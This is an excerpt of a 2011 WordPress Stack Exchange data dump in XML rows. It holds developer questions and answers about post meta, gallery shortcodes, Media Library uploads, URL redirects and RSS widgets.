  <row Id="18673" PostTypeId="2" ParentId="18671" CreationDate="2011-05-30T00:35:19.057" Score="1" ViewCount="" Body="&lt;p&gt;First of all, you should look into using WP_Query for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/advanced-metadata-queries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, to see the results, just do a &lt;a href=&quot;http://php.net/var_dump&quot; rel=&quot;nofollow&quot;&gt;var_dump()&lt;/a&gt; before the return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;var_dump( $data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-30T00:35:19.057" CommentCount="9" />
  <row Id="18675" PostTypeId="1" CreationDate="2011-05-30T00:41:14.440" Score="0" ViewCount="73" Body="&lt;p&gt;&lt;br&gt;&#xA;i created a post meta, to add the name of a specific &quot;author&quot; to my articles. But if i enter the meta of the first article, all the other articles copy the same meta. If i enter then a second name in the meta of the second article, all the other articles copy this second &quot;meta&quot;, as if i entered this second name for each article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i specify the meta for only one article? in the admin panel : if i did not specify the author, i still have &quot;empty meta&quot;, which is the text i specify in this case in functions.php . BUT, in the page on internet, it shows the name of the last &quot;meta&quot; name written in any of the article. I hope my description is clear enough, please tell me for more informations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the main lines of the code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$met = get_post_meta($post-&amp;gt;ID, 'champ', true)? get_post_meta($post-&amp;gt;ID, 'champ', true) : 'empty meta';&#xA;&#xA;echo '&amp;lt;input type=&quot;text&quot; id=&quot;champ&quot; name=&quot;champ&quot; value=&quot;'.$met.'&quot; /&amp;gt;';&#xA;…&#xA;add_post_meta($post_id, &quot;champ&quot;, $_POST['champ'], true);&#xA;update_post_meta($post_id, &quot;champ&quot;, $_POST['champ']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5644" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-05-30T12:47:52.787" LastActivityDate="2011-08-30T11:36:55.533" Title="post meta - problem : copy the same meta for all the articles" Tags="&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="18676" PostTypeId="2" ParentId="18669" CreationDate="2011-05-30T02:58:04.690" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;comments_popup_link_attributes&lt;/code&gt; filter will allow you to output attributes within the link.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_comment_hover_action() {&#xA;  echo ' onHover=&quot;fireMyJSCode();&quot;';&#xA;}&#xA;add_filter(‘comments_popup_link_attributes’, ‘add_comment_hover_action’);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could hook into the &lt;code&gt;comments_number&lt;/code&gt; filter to add a span wrapper around the comment number text with a common class name and the parent post id as an attribute. Then in JavaScript you could assign a function to handle hover actions for all those comment spans. Inside your js function hover handler access the post id from the wrapper element.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-30T02:58:04.690" />
  <row Id="18677" PostTypeId="1" AcceptedAnswerId="18680" CreationDate="2011-05-30T02:58:49.443" Score="0" ViewCount="28" Body="&lt;p&gt;I have seen that Wordpress uses &lt;code&gt;%category%&lt;/code&gt; like strings to create url templates. Is there an easy way to allow such mechanism in a plugin? For example in the plugin's settings page user specifies an option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`&amp;lt;a href=%my_url%&amp;gt;Click here&amp;lt;/a&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my plugin I replace &lt;code&gt;%my_url%&lt;/code&gt; with an actual URL before &lt;code&gt;echo&lt;/code&gt;ing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function/mechanism in wordpress that I can use to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-05-30T03:19:25.740" Title="Can I use %category% like Templates in my Plugin?" Tags="&lt;plugin-development&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="18678" PostTypeId="1" AcceptedAnswerId="18688" CreationDate="2011-05-30T03:17:36.520" Score="0" ViewCount="310" Body="&lt;p&gt;&lt;strong&gt;My Old Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;I made a Theme with rotating banner,&#xA;  common thing. So I want a way for&#xA;  users to select images. I think&#xA;  instead of implementing my own upload,&#xA;  I think its better to allow users to&#xA;  use the Media Library, how do I do&#xA;  that?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;The New One&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So far, I have something like below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// init wordpress media upload stuff ...&#xA;if (is_admin() &amp;amp;&amp;amp; isset($_GET['page']) &amp;amp;&amp;amp; $_GET['page'] == 'elem_opts') {&#xA;  wp_enqueue_style('thickbox');&#xA;  wp_enqueue_script('media-upload');&#xA;  wp_enqueue_script('thickbox');&#xA;  wp_register_script('elem_adm_js', get_bloginfo('template_directory') . '/js/admin.js', array('jquery', 'media-upload', 'thickbox'));&#xA;  wp_enqueue_script('elem_adm_js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;admin.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('#elem_upload_logo').click(function() {&#xA;        tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true');&#xA;        return false;&#xA;    });&#xA;&#xA;    window.send_to_editor = function (html) {&#xA;        imgurl = $('img', html).attr('src');&#xA;        $('input[name=elem_opts[h_image]]').val(imgurl);&#xA;        tb_remove();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The media library upload thickbox pops up, I can click select files, but when I try to upload them nothing happens. In Firebug I can see the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://imgur.com/zEBRw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-06-12T06:44:46.313" LastActivityDate="2011-06-14T04:33:33.417" Title="Plugging into the Media Library to upload images (NOT associated with any post)" Tags="&lt;theme-development&gt;&lt;media-library&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18679" PostTypeId="2" ParentId="12201" CreationDate="2011-05-30T03:19:13.853" Score="2" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Oh, sunday procrastination...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/maugly/Network-Terminator&quot; rel=&quot;nofollow&quot;&gt;https://github.com/maugly/Network-Terminator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alows to bulk add terms across&#xA;network&lt;/li&gt;&#xA;&lt;li&gt;You can select what sites will be&#xA;affected&lt;/li&gt;&#xA;&lt;li&gt;Works with custom taxonomies&lt;/li&gt;&#xA;&lt;li&gt;Doesn't delete&lt;/li&gt;&#xA;&lt;li&gt;Doesn't sync&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is something I've done in a last few hours and I have no time for more testing now. Anyway - it works for me! .)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try. There's also a 'test run' feature implemented so you can check the result before actually doing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update -&gt; Screenshots:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before action:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vHK2B.png&quot; alt=&quot;Before action&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After test run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QwZMS.png&quot; alt=&quot;After test run&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin linked above adds user interface but pretty much everything important happens in this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php function mau_add_network_terms($terms_to_add, $siteids, $testrun = false) {&#xA;&#xA;        // check if this is multisite install&#xA;        if ( !is_multisite() )&#xA;            return 'This is not a multisite WordPress installation.';&#xA;&#xA;        // very basic input check&#xA;        if ( empty($terms_to_add) || empty($siteids) || !is_array($terms_to_add) || !is_array($siteids) )&#xA;            return 'Nah, I eat only arrays!';&#xA;&#xA;        if ($testrun) $log = '&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;No need to get excited. This is just a test run.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;';&#xA;        else $log = '';&#xA;&#xA;        // loop thru blogs&#xA;        foreach ($siteids as $blog_id) :&#xA;&#xA;            switch_to_blog( absint($blog_id) );&#xA;&#xA;            $log .= '&amp;lt;h4&amp;gt;'.get_blog_details(  $blog_id  )-&amp;gt;blogname.':&amp;lt;/h4&amp;gt;';&#xA;            $log .= '&amp;lt;ul id=&quot;ntlog&quot;&amp;gt;';&#xA;&#xA;            // loop thru taxonomies&#xA;            foreach ( $terms_to_add as $taxonomy =&amp;gt; $terms ) {&#xA;&#xA;                // check if taxonomy exists&#xA;                if ( taxonomy_exists($taxonomy) ) {&#xA;                    // get taxonomy name&#xA;                    $tax_name = get_taxonomy($taxonomy);&#xA;                    $tax_name = $tax_name-&amp;gt;labels-&amp;gt;name;&#xA;&#xA;                    //loop thru terms   &#xA;                    foreach ( $terms as $term ) {&#xA;&#xA;                        // check if term exists&#xA;                        if ( term_exists($term, $taxonomy) ) {&#xA;                            $log .= &quot;&amp;lt;li class='notice' &amp;gt;&amp;lt;em&amp;gt;$term already exists in the $tax_name taxonomy - not added!&amp;lt;/em&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;                        } else {&#xA;&#xA;                            // if it doesn't exist insert the $term to $taxonomy&#xA;                            $term = strip_tags($term);&#xA;                            $taxonomy = strip_tags($taxonomy);&#xA;                            if (!$testrun)&#xA;                                wp_insert_term( $term, $taxonomy );&#xA;                            $log .= &quot;&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;$term&amp;lt;/b&amp;gt; successfully added to the &amp;lt;b&amp;gt;$tax_name&amp;lt;/b&amp;gt; taxonomy&amp;lt;/li&amp;gt;&quot;; &#xA;                        }&#xA;                    }&#xA;                } else {&#xA;                    // tell our log that taxonomy doesn't exists&#xA;                    $log .= &quot;&amp;lt;li class='notice'&amp;gt;&amp;lt;em&amp;gt;The $tax_name taxonomy doesn't exist! Skipping...&amp;lt;/em&amp;gt;&amp;lt;/li&amp;gt;&quot;; &#xA;                }&#xA;            }&#xA;&#xA;            $log .= '&amp;lt;/ul&amp;gt;';    &#xA;&#xA;            // we're done here&#xA;            restore_current_blog();&#xA;&#xA;        endforeach;&#xA;        if ($testrun) $log .= '&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;No need to get excited. This was just the test run.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;';&#xA;        return $log;&#xA;    } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will come back and edit this with more info later (if needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is far from perfect (read known issues in the plugin head).&lt;br&gt;&#xA;Any feedback appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-05-31T22:01:08.000" LastActivityDate="2011-05-31T22:01:08.000" CommentCount="4" />
  <row Id="18680" PostTypeId="2" ParentId="18677" CreationDate="2011-05-30T03:19:25.740" Score="2" ViewCount="" Body="&lt;p&gt;You don't need anything WordPress specific here. Use PHP's &lt;a href=&quot;http://php.net/manual/en/function.str-replace.php&quot; rel=&quot;nofollow&quot;&gt;str_replace&lt;/a&gt; to replace tokens entered by users in the settings. In your plugin code, wherever you are echoing the setting value wrap it in str_replace with the value you want to replace %my_url% with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo str_replace(&quot;%my_url%&quot;, $real_url_value, $setting_text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-30T03:19:25.740" />
  <row Id="18681" PostTypeId="2" ParentId="10744" CreationDate="2011-05-30T04:04:15.157" Score="0" ViewCount="" Body="&lt;p&gt;Use this to get rid of the theme editor but it also gets rid of the plugin editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste in your wp-config.php&#xA;&lt;code&gt;define('WP_CODE_EDITOR', false)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-30T04:04:15.157" />
  <row Id="18682" PostTypeId="1" CreationDate="2011-05-30T04:39:55.760" Score="2" ViewCount="33" Body="&lt;p&gt;I am a novice, but I have my website, online store and blog looking the way I want them.  I had to change my blog theme because the widgets were in the wrong place so I chose another theme (raindrops). The only problem is that my blog widgets such as categories, recent posts, etc., when clicked on go to my website instead of my blog site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog and store are subdomains under digitaldesignzonline.com  and all have separate folders and wordpress installs.  My website digitaldesignzonline.com (so far) is working great, and my store: digitaldesignzonline.com/store seems to be also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is my blog: digitaldesignzonline.com/blog.  When I click on the recent posts widget in the sidebar, the address show the correct post link and name, but actually goes to my website (digitaldesignzonline.com)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog pages direct back to the website, but that doesn't bother me.  I think it is where the problem may be? It is a child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried different themes, deleted  a ton of plugins that were not activated, checked the permalinks settings, and tried everything I can think of.&#xA;I have googled for 12 hours and can't find the problem.  Please help me before I have a stroke trying to figure this out!&lt;br&gt;&#xA;PS I am a novice at php, etc., but can follow instructions if clear and precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be my hero if you can help me!&lt;/p&gt;&#xA;" OwnerUserId="5801" LastActivityDate="2011-05-30T04:39:55.760" Title="Blog posts permalinks correct but recent post widgets goes to my website and not staying on my blog site" Tags="&lt;posts&gt;" />
  <row Id="18683" PostTypeId="1" CreationDate="2011-05-30T04:41:50.750" Score="1" ViewCount="145" Body="&lt;p&gt;My new site was initially set up with an IP address (say &lt;a href=&quot;http://123.123.12.12/&quot; rel=&quot;nofollow&quot;&gt;http://123.123.12.12/&lt;/a&gt;). I later changed the siteurl and homeurl to my domain (say xyz.com). I also pointed the domain to the IP address so I don't lose out on the indexing in search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now whenever I click on any of the links in the home page, it redirects back to &lt;a href=&quot;http://123.123.12.12/&quot; rel=&quot;nofollow&quot;&gt;http://123.123.12.12/&lt;/a&gt; instead of going to &lt;a href=&quot;http://123.123.12.12/newpage/&quot; rel=&quot;nofollow&quot;&gt;http://123.123.12.12/newpage/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The anchor tag shows the URL as &lt;a href=&quot;http://xyz.com/newpage/&quot; rel=&quot;nofollow&quot;&gt;http://xyz.com/newpage/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any relative URLs on any other pages work fine. But otherwise all links (from the menu) redirect to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, any urls saying &lt;a href=&quot;http://xyz.com/somepage&quot; rel=&quot;nofollow&quot;&gt;http://xyz.com/somepage&lt;/a&gt; redirect to home page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I might be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I changed the siteurl and homeurl in the database directly. Do I need to change it on the Wordpress Settings page as well?&lt;/p&gt;&#xA;" OwnerUserId="1070" LastEditorUserId="1070" LastEditorDisplayName="" LastEditDate="2011-05-30T04:54:37.927" LastActivityDate="2011-08-29T02:36:16.677" Title="Changing siteurl and homeurl - internal links redirect to home page?" Tags="&lt;redirect&gt;&lt;site-url&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18684" PostTypeId="2" ParentId="18072" CreationDate="2011-05-30T04:49:24.077" Score="1" ViewCount="" Body="&lt;p&gt;Okay, figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I found a pretty straight forward sort of solution. It's not perfect because it's taking excessive amounts of steps per newsletter but it works exactly how I want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've got sitting in my sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php query_posts('category_name=newsletter&amp;amp;number_of_posts=12');&#xA;          if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;          // From here down I found on a site which I'll cite below.&#xA;          &amp;lt;?php $args = array(&#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'numberposts' =&amp;gt; null,&#xA;                'post_status' =&amp;gt; null,&#xA;                'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;          );&#xA;          $attachments = get_posts($args);&#xA;          if ($attachments) {&#xA;                foreach ($attachments as $attachment) {&#xA;                      echo '&amp;lt;li&amp;gt;';&#xA;                      the_attachment_link($attachment-&amp;gt;ID, false);&#xA;                      echo '&amp;lt;/li&amp;gt;';&#xA;                }&#xA;          } ?&amp;gt;&#xA;&#xA;          &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;          &amp;lt;?php wp_reset_query; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made a category called Newsletter and the only thing I put in each post is a title and attach a PDF, the title doesn't even carry through, but it's necissary to publish the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here is the link to the source for that code. I love these guys.&lt;/p&gt;&#xA;" OwnerUserId="5625" LastActivityDate="2011-05-30T04:49:24.077" />
  <row Id="18685" PostTypeId="2" ParentId="18683" CreationDate="2011-05-30T04:55:21.770" Score="0" ViewCount="" Body="&lt;p&gt;Clear your permalinks by going to the permalinks page usually all it takes it just visiting it. Also clear your cache and flush your dns settings. Also make sure to clear any WordPress plugins that use cache. Check those and report back&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-30T04:55:21.770" CommentCount="2" />
  <row Id="18686" PostTypeId="1" CreationDate="2011-05-30T05:09:42.527" Score="1" ViewCount="30" Body="&lt;ul&gt;&#xA;&lt;li&gt;REQUIRED: Non-printable characters were found in the '''functions.php''' file. You may want to check this file for errors.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;what's Non-printable characters . how to correct it?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2011-05-30T05:28:58.647" Title="theme checking question" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18687" PostTypeId="2" ParentId="18686" CreationDate="2011-05-30T05:28:58.647" Score="2" ViewCount="" Body="&lt;p&gt;They are characters that are non printable and should be removed. This is usually the first 32 ASCII characters + 127 ( it might also be extended characters above 127), for example character 7 is an &quot;audible bell&quot;, so ya that's not going to work :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Display (or web friendly) characters start at character 33, so look in your functions.php for some weird ASCII and delete them. Turn on debugging so you get a better error with the actual line call.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't delete them you can use a &lt;code&gt;preg_replace&lt;/code&gt; php function, something like &lt;a href=&quot;http://stackoverflow.com/questions/1176904/php-how-to-remove-all-non-printable-characters-in-a-string&quot;&gt;http://stackoverflow.com/questions/1176904/php-how-to-remove-all-non-printable-characters-in-a-string&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference on first 127 ASCII: &lt;a href=&quot;http://www.telacommunications.com/nutshell/ascii.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.telacommunications.com/nutshell/ascii.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-30T05:28:58.647" />
  <row Id="18688" PostTypeId="2" ParentId="18678" CreationDate="2011-05-30T05:40:04.187" Score="1" ViewCount="" Body="&lt;p&gt;Here are 3 links to get you started, your question should be more clear, do you want this to work like twentyten's header, using a custom theme options field, a category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8173/how-to-use-media-upload-on-theme-option-page&quot;&gt;How to use media upload on theme option page?&lt;/a&gt;&lt;br&gt;&#xA; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4307/how-can-i-add-an-image-upload-field-directly-to-a-custom-write-panel&quot;&gt;How can I add an image upload field directly to a custom write panel?&lt;/a&gt;&lt;br&gt;&#xA; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4016/attaching-media-to-custom-posts-without-editor&quot;&gt;Attaching media to custom posts without editor&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/639/creating-an-image-centric-custom-post-type&quot;&gt;Creating an Image-Centric Custom Post Type?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-30T05:49:55.440" LastActivityDate="2011-05-30T05:49:55.440" CommentCount="5" />
  <row Id="18689" PostTypeId="1" AcceptedAnswerId="18691" CreationDate="2011-05-30T06:33:45.633" Score="2" ViewCount="106" Body="&lt;p&gt;So let's say I run a TV show blog. One day, the show releases to the public a set of 10 screencaps from an upcoming episode. I post that on my blog, either as a post with multiple images, or specifically as a &quot;gallery&quot; post -- either way, readers can view all the image attached to that post as a gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, several days and several posts later, they release 10 more screencaps from that same upcoming episode. I want to make a separate post rather than bump the old one, but I also somehow want to be able to display all screencaps (20) from that particular episode in a single gallery. Or at least what would look like a single gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible? (Preferably without NextGEN or other plugins... trying to accomplish as much as I can using WordPress' native capabilities before stacking plugins.)&lt;/p&gt;&#xA;" OwnerUserId="2256" LastEditorUserId="2256" LastEditorDisplayName="" LastEditDate="2011-05-30T06:58:47.803" LastActivityDate="2011-05-30T19:24:39.753" Title="Any way to &quot;combine&quot; galleries or show multiple galleries as one?" Tags="&lt;images&gt;&lt;gallery&gt;&lt;multiple&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18690" PostTypeId="1" CreationDate="2011-05-30T06:55:59.933" Score="0" ViewCount="43" Body="&lt;p&gt;I have RSS widget on my &lt;a href=&quot;http://www.dekho.com.au/&quot; rel=&quot;nofollow&quot;&gt;home page&lt;/a&gt; (footer) pointing to a &lt;a href=&quot;http://vimeo.com/user3235740/videos/rss&quot; rel=&quot;nofollow&quot;&gt;RSS feed&lt;/a&gt; from Vimeo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The videos pull in fine, and the links for these work.&#xA;The orange RSS icon also takes you to the actual RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the title takes you to a &lt;a href=&quot;http://vimeo.com/user3235740/videos/uploaded&quot; rel=&quot;nofollow&quot;&gt;404&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this is a fault of how Vimeo is setup, or the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a workaround to ensure this title is not a dead link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This short &lt;a href=&quot;http://screencast.com/t/yTYMW1eXlCc&quot; rel=&quot;nofollow&quot;&gt;screencast&lt;/a&gt; explains the situation.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-05-30T07:41:35.173" Title="Vimeo Feed gived dead link with RSS widget?" Tags="&lt;widgets&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="18691" PostTypeId="2" ParentId="18689" CreationDate="2011-05-30T07:34:40.490" Score="1" ViewCount="" Body="&lt;p&gt;With &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;the default &lt;code&gt;[gallery]&lt;/code&gt; shortcode&lt;/a&gt; there is no easy way to combine different galleries into one. You can either specify two different galleries: one of the current post and one of another post, specified by post ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[gallery]&#xA;[gallery id=42]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can create a gallery by explicitly specifying all the &lt;em&gt;attachment&lt;/em&gt; IDs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[gallery include=&quot;23,39,45&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifying multiple post IDs will not work because &lt;code&gt;gallery_shortcode()&lt;/code&gt; uses &lt;code&gt;get_children()&lt;/code&gt; to get the attachments, which uses &lt;code&gt;get_posts()&lt;/code&gt;, which uses the standard &lt;code&gt;WP_Query&lt;/code&gt; class, and this &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/query.php#L2131&quot; rel=&quot;nofollow&quot;&gt;only allows a numeric &lt;code&gt;post_parent&lt;/code&gt; value&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, we can exploit the fact that there is a filter at the top of &lt;code&gt;gallery_shortcode()&lt;/code&gt;, that allows plugins to override the default gallery layout. The following example checks for an &lt;code&gt;id&lt;/code&gt; parameter with multiple IDs (or the special keyword &lt;code&gt;this&lt;/code&gt;), gets all the attachments of these posts, and puts them in an explicit &lt;code&gt;include&lt;/code&gt; attribute which is used to call the gallery function again. This allows you to combine different galleries like this: &lt;code&gt;[gallery id=this,8]&lt;/code&gt;. You can extend this idea to support other attributes too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_gallery', 'wpse18689_post_gallery', 5, 2 );&#xA;function wpse18689_post_gallery( $gallery, $attr )&#xA;{&#xA;    if ( ! is_array( $attr ) || array_key_exists( 'wpse18689_passed', $attr ) ) {&#xA;        return '';&#xA;    }&#xA;    $attr['wpse18689_passed'] = true;&#xA;&#xA;    if ( false !== strpos( $attr['id'], ',' ) ) {&#xA;        $id_attr = shortcode_atts( array(&#xA;            'id' =&amp;gt; 'this',&#xA;            'order' =&amp;gt; 'ASC',&#xA;            'orderby'    =&amp;gt; 'menu_order ID',&#xA;        ), $attr );&#xA;        $all_attachment_ids = array();&#xA;        $post_ids = explode( ',', $id_attr['id'] );&#xA;        foreach ( $post_ids as $post_id ) {&#xA;            if ( 'this' == $post_id ) {&#xA;                $post_id = $GLOBALS['post']-&amp;gt;ID;&#xA;            }&#xA;            $post_attachments = get_children( array(&#xA;                'post_parent' =&amp;gt; $post_id,&#xA;                'post_status' =&amp;gt; 'inherit',&#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'post_mime_type' =&amp;gt; 'image',&#xA;                'order' =&amp;gt; $id_attr['order'],&#xA;                'orderby' =&amp;gt; $id_attr['orderby'],&#xA;            ), ARRAY_A );&#xA;            $all_attachment_ids = array_merge( $all_attachment_ids, array_keys( $post_attachments ) );&#xA;        }&#xA;        $attr['include'] = implode( ',', $all_attachment_ids );&#xA;        $attr['id'] = null;&#xA;    }&#xA;&#xA;    return gallery_shortcode( $attr );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T19:24:39.753" LastActivityDate="2011-05-30T19:24:39.753" CommentCount="6" />
  <row Id="18692" PostTypeId="2" ParentId="18690" CreationDate="2011-05-30T07:41:35.173" Score="1" ViewCount="" Body="&lt;p&gt;The link in the title comes from the RSS feed: it contains a &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; element describing the URL of the entire channel. I think Vimeo (recently?) changed their URL structure so &lt;code&gt;http://vimeo.com/user3235740/videos/uploaded&lt;/code&gt; no longer points to the recently uploaded videos, but &lt;code&gt;http://vimeo.com/user3235740/videos/sort:newest&lt;/code&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like Vimeo should update their feeds to include the correct URL. The default RSS widget does not allow you to change the URL easily, so I suggest you duplicate this widget code and add a fix for the URL yourself.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T07:41:35.173" />
